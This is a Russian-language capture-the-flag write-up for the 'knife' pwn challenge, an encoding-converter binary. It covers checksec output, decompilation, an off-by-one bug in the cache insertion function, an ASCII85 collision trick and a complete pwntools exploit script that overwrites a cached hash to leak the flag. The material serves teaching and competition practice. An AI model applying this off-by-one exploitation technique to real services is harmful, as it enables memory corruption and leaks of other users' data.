Описание
We made a utility for converting between various encodings. We’re afraid it might leak other users’ data though… Can you pwn it?
Задание knife является четвертым по сложности заданием в категории pwn. Под конец соревнований оно имело 44 решения. Как можно заметить, задание несложное, однако для решения требуется предельная внимательность
Решение
Анализ
Запустим file и checksec:
$ file chal
chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=92298ba249debf99e3d9e7bf9503673c2b346e36, for GNU/Linux 3.2.0, not stripped
$ checksec --file=chal
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 73 Symbols No 0 3 chal
Перед нами обычный нестрипнутый 64-битный ELF. Все защиты включены, кроме канарейки. Запустим бинарь:
$ ./chal
Welcome to the Swiss Knife of Encodings!
Available encodings:
- Plaintext (plain)
- Hex encoding (hex)
- Ascii85 variant (a85)
- Base64 (b64)
- Zlib (zlib)
- ROT-13 (rot13)
Example usage:
$ plain a85 test
Success. Result: N2Qab
Another example:
$ plain hex CTF{*censored*}
*censored*
Awaiting command...
hex plain 41414141
Success. Result: AAAA
Awaiting command...
Интерфейс программы позволяет пользователю конвертировать текст между разными кодировками. Заметим,
что в качестве примера она приводит 2 команды: декодирование N2Qab из ASCII 85, и кодирование
зацензуренного флага! в HEX
Декомпиляция
main
| |
Программа использует настоящее значение флага, при этом результат не выводится (только “censored”)
command
Функция command довольно большая, поэтому рассмотрим ее по частям
Выбор декодера/энкодера
| |
Несмотря на большой перечень кодировок, предлагаемый программой, реализовано всего две – ASCII85 и HEX
encoders[] и decoders[]
.data:0000000000005140 ; __int64 (__fastcall *encoders[6])()
.data:0000000000005140 encoders dq offset no_op ; DATA XREF: command+143↑o
.data:0000000000005140 ; command+409↑o
.data:0000000000005148 dq offset encodehex
.data:0000000000005150 dq offset encode85
.data:0000000000005158 dq 0
.data:0000000000005160 dq 0
.data:0000000000005168 dq 0
.data:0000000000005170 dq 0
.data:0000000000005178 funcs_2211 dq 0 ; DATA XREF: command+186↑r
.data:0000000000005180 public decoders
.data:0000000000005180 ; __int64 (__fastcall *decoders[6])()
.data:0000000000005180 decoders dq offset no_op ; DATA XREF: command+112↑o
.data:0000000000005180 ; command+17F↑o
.data:0000000000005188 dq offset decodehex
.data:0000000000005190 dq offset decode85
.data:0000000000005198 dq 0
.data:00000000000051A0 dq 0
.data:00000000000051A8 dq 0
.data:00000000000051A8 _data ends
Декодирование и кеширование
| |
Здесь происходит декодирование текста в plain, а также поиск ячейки в кеше, осуществляемый по sha256 от декодированной строки. Если такая ячейка не была найдена, то используется следующая по счету (если счетчик достигает конца кеша, он обнуляется). Затем, в кеш добавляются возможные результаты кодирования: исходная кодировка и текст, полученный на входе; plain кодировка и декодированная строка.
Кэш состоит из 10 ячеек. Каждая ячейка имеет char * на sha256 от plain строки (ключ) и массив
char *[6] записей вычисленных ранее результатов кодирования

Кодирование, кеширование, вывод
| |
put
| |
Каждая добавляемая в кеш запись получается путем конкатенации короткого названия кодировки (plain/a85/hex) и результата декодера/энкодера. Если такая запись уже есть, то ничего не происходит
Не трудно заметить, что в put присутствует ошибка Off-by-one, которая позволяет нам переехать
первый QWORD следующей ячекйки кеша (по совместительству являющимся указателем на хеш sha256)
Эксплуатация
Давайте заполним весь кеш, чтобы счетчик обнулился и выдал ячейку в начале кеша. Заполнив ячейку полностью, с помощью бага Off-by-one мы сможем переписать значение хеша следующей ячейки (содержащей флаг) хешем специальной строки. Теперь остается закодировать данную строку в plain, чтобы получить флаг из кеша.
Выбор хеша SHA256
Так как хеш переписывается строкой формата название энкодера + результат кодирования, то каждый
символ названия и результата должен быть в HEX алфавите. Нам подходит только энкодер ASCII85
(сокр. a85). Стоит отметить, что длина декодируемой строки должна быть кратна 5 (размеру группы)
| |
[*] String: b'aabss'
[*] Hash: a85b891727674ac83fa143bf4849b9a8e52550eafef891b3c7b01fd9d22ad5ef
Коллизия ASCII85
Так как нам доступно всего 2 декодера, а заполнить ячейку нужно 6-ю уникальными записями, необходимо придумать коллизию. ASCII85 позволяет кодировать одной группой переменное количество байт (от 1 до 4). Таким образом, разбив одну строку разными способами, мы получим разные строки в ASCII85
Awaiting command...
plain a85 A
Success. Result: )R5p|
Awaiting command...
plain a85 AA
Success. Result: ll}o|
Awaiting command...
plain a85 AAA
Success. Result: Q4pU|
Awaiting command...
plain a85 AAAA
Success. Result: 5)w|K
Разобьем строку “AAAAAAAAA” в 3 группы разных размеров:
| |
Собираем вместе
Так как сравнение хешей осуществляется функцией
memcmp, мы можем спокойно дописать в конец хеша строку с коллизией. При этом кеш будет выглядеть
так:

Эксплоит
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 127.0.0.1 --port 1234 chal
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'chal')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 1234)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.STRACE:
with tempfile.NamedTemporaryFile(prefix='pwnlib-log-', suffix='.strace',
delete=False, mode='w') as tmp:
log.debug('Created strace log file %r\n', tmp.name)
run_in_new_terminal(['tail', '-f', '-n', '+1', tmp.name])
return process(['strace', '-o', tmp.name, '--'] + [exe.path] + argv, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
def num(n):
return str(n).encode()
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled
from hashlib import sha256
from itertools import product
from string import ascii_letters
MENU = b'command...\n'
def gen_collisions(patterns):
_blocks = (')R5p|', 'll}o|', 'Q4pU|', '5)w|K')
res = []
for pattern in patterns:
res.append('')
for block in pattern:
res[-1] += _blocks[block - 1]
return res
for s in product(ascii_letters, repeat=5):
SOURCE_STRING = ''.join(s).encode()
h = sha256(SOURCE_STRING).hexdigest()
if h[:3] == 'a85':
log.info(f'String: {SOURCE_STRING}')
log.info(f'Hash: {h}')
HASH_PART = h[3:]
HASH_PART += 'a' * (-len(HASH_PART) % 5)
break
coll = gen_collisions([
(4, 4, 1), (4, 1, 4), (1, 4, 4),
(4, 3, 2), (2, 4, 3), (3, 2, 4)
])
io = start()
# Fill cache to control first entry
for i in range(8):
io.sendlineafter(MENU, b'plain plain ' + num(i))
# Fill cache entry
for c in coll:
io.sendlineafter(MENU, f'a85 plain {HASH_PART}{c}'.encode())
io.sendlineafter(MENU, b'plain plain ' + SOURCE_STRING)
io.interactive()
